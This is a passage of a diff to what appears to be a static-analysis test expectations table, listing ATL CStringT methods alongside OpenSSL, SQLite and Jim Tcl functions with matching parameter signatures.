SetString | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:939:10:939:18 | SetString | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:939:10:939:18 | SetString | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:939:10:939:18 | SetString | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:939:10:939:18 | SetString | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:939:10:939:18 | SetString | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:939:10:939:18 | SetString | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:939:10:939:18 | SetString | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:939:10:939:18 | SetString | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:939:10:939:18 | SetString | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:939:10:939:18 | SetString | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:939:10:939:18 | SetString | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:939:10:939:18 | SetString | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:939:10:939:18 | SetString | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:939:10:939:18 | SetString | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:939:10:939:18 | SetString | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:939:10:939:18 | SetString | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:939:10:939:18 | SetString | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:939:10:939:18 | SetString | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:939:10:939:18 | SetString | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:939:10:939:18 | SetString | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:939:10:939:18 | SetString | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:939:10:939:18 | SetString | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:939:10:939:18 | SetString | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:939:10:939:18 | SetString | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:939:10:939:18 | SetString | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:939:10:939:18 | SetString | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:939:10:939:18 | SetString | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:939:10:939:18 | SetString | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:939:10:939:18 | SetString | (int,int) | | BN_security_bits | 1 | +| atl.cpp:939:10:939:18 | SetString | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:939:10:939:18 | SetString | (int,int) | | acttab_alloc | 1 | +| atl.cpp:939:10:939:18 | SetString | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:939:10:939:18 | SetString | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:939:10:939:18 | SetString | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:939:10:939:18 | SetString | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:939:10:939:18 | SetString | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:939:10:939:18 | SetString | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:939:10:939:18 | SetString | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:939:10:939:18 | SetString | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:939:10:939:18 | SetString | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:939:10:939:18 | SetString | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:939:10:939:18 | SetString | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:939:10:939:18 | SetString | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:939:10:939:18 | SetString | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:939:10:939:18 | SetString | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:939:10:939:18 | SetString | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:940:10:940:18 | SetString | (PCXSTR) | | operator+= | 0 | | atl.cpp:940:10:940:18 | SetString | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:940:10:940:18 | SetString | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ASN1_tag2str | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | Jim_SignalId | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | PKCS12_init | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | Symbol_Nth | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | pulldown_test_framework | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | tls1_alert_code | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | tls13_alert_code | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | | operator+= | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | CStringT | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | operator= | 0 | @@ -196,19 +2702,591 @@ signatureMatches | atl.cpp:1043:5:1043:12 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | | atl.cpp:1043:5:1043:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 | | atl.cpp:1043:5:1043:12 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | SRP_VBASE_new | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | defossilize | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | make_uppercase | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | next_item | 0 | | atl.cpp:1045:5:1045:12 | CStringT | (char *) | CStringT | CStringT | 0 | | atl.cpp:1046:5:1046:12 | CStringT | (unsigned char *) | CStringT | CStringT | 0 | | atl.cpp:1047:5:1047:12 | CStringT | (wchar_t *) | CStringT | CStringT | 0 | +| atl.cpp:1049:5:1049:12 | CStringT | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | 